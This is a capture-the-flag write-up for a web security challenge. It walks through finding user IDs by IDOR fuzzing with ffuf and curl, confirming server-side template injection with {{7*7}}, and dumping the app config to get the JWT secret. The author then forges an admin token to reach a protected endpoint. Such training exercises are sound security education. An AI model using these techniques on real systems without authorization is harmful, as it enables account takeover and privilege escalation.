Info
Tags: Challenge Web Security SSTI IDOR JWT Authentication
Description
Mission brief
Can you help us to stop the evildoings of the evil H4x0rMage?
Instructions
H4x0rMage, the biggest evil in human history is about to destroy everything. He hacked into a military base and started the launch procedure for the biggest rocket! He even set up a page with a countdown so his peers can follow the countdown.We have managed to gain access to one account: username:Test, password:test.
Your task is to gain
Adminprivileges and cancel the launch. There should be a button for this job, it only shows up for users with administrator privileges.Come back here and clickCheck solutionwhen you are done to get your reward. Don’t forget, humanity’s hope is in your hands now!
Glossary
IDOR
Stands for Insecure Direct Object Reference. It’s fundamentally an access control related vulnerability, which means that someone can access sensitive data that they shouldn’t be able to
see, by referring to it directly.
JWT
JSON Web Tokens are an open, industry standard RFC 7519(https://tools.ietf.org/html/rfc7519) method for representing claims securely between two parties.
SSTI
Server-Side Template Injection occurs when unvalidated user input is processed by a template engine.
Enumeration
I logged in with the credentials provided


There was a counter and my username was reflected on the page.
I found out I got a cookie named jwt at login

I used jwt.io to decode this jwt token.

- It needed a secret key to be able to verify the token’s signature
- My
user_idwas1
Looking into the sources
I looked into the source and found two interesting js files.

/static/js/toggle.js:
|
|
/toggleendpoint
/toggle:
|
|
- I needed Admin privileges to be able to access this endpoint with success
/static/js/userhelper.js:
|
|
/users/endpoint- which used the jwt token’s
idwhich was1for userTest
- which used the jwt token’s
I also confirmed it with a quick test.
/users/1:
|
|
IDOR
I tried to fuzz this enpoint for other userid and I successfully found some. I used ffuf in order to fuzz the possible numeric values.
ffuf -fr 'User id FUZZ was not found' -u https://<instance>.platform-next.avatao-challenge.com/users/FUZZ -w /usr/share/seclists/Fuzzing/3-digits-000-999.txt
-fr: filter for regex βhide all responses which containedUser id <current number> was not found-u: URL-w: wordlist (https://github.com/danielmiessler/SecLists)
Valid id’s:
012 [Status: 200, Size: 34, Words: 1, Lines: 2]
004 [Status: 200, Size: 33, Words: 1, Lines: 2]
010 [Status: 200, Size: 38, Words: 1, Lines: 2]
011 [Status: 200, Size: 38, Words: 1, Lines: 2]
002 [Status: 200, Size: 39, Words: 1, Lines: 2]
001 [Status: 200, Size: 32, Words: 1, Lines: 2]
006 [Status: 200, Size: 35, Words: 1, Lines: 2]
007 [Status: 200, Size: 34, Words: 1, Lines: 2]
I used some vim magic and xargs and curl to make a request to each id and save the output.
urls.txt:
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/002
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/004
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/006
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/007
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/011
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/001
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/012
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/010
$ cat urls.txt | sort | xargs -n1 -I{} sh -c 'curl {}'
{"user_id":1,"username":"Test"}
{"user_id":2,"username":"QU1CK51LV3R"}
{"user_id":4,"username":"BL4NK"}
{"user_id":6,"username":"M3M3N70"}
{"user_id":7,"username":"D3X73R"}
{"user_id":10,"username":"H4x0rMage"}
{"user_id":11,"username":"H4ck3Rm4n"}
{"user_id":12,"username":"Admin"}
- Admin’s id was
12- I had to change the
jwtpayload’suser_idparameter from1to12 - But I needed the jwt’s secret
- I had to change the
SSTI
After exploring the webapp a bit more I found out if I provide an invalid enpoint my invalid endpoint’s name gets reflected to the 404 page

- I tried the most basic SSTI payload
{{7*7}}and I successfully got49on the page- This meant I surely have an SSTI

If there is an SSTI you must try to print out the current config so I tried it and I got it successfully.
/{{config}}:

- This SECRET_KEY seemed suspicious(it was toooo long) so I put it into jwt.io to test it as jwt secret

- I got
Signature Verifiedwhich meant that this was the correct jwt secret
Exploitiation
I had to access the /toggle endpoint as admin. The admin’s user_id was 12 so I changed my jwt token using jwt.io and the secret and copied it.

- My signature was still verified

- I successfully cancelled the launch!
- Challenge Completed!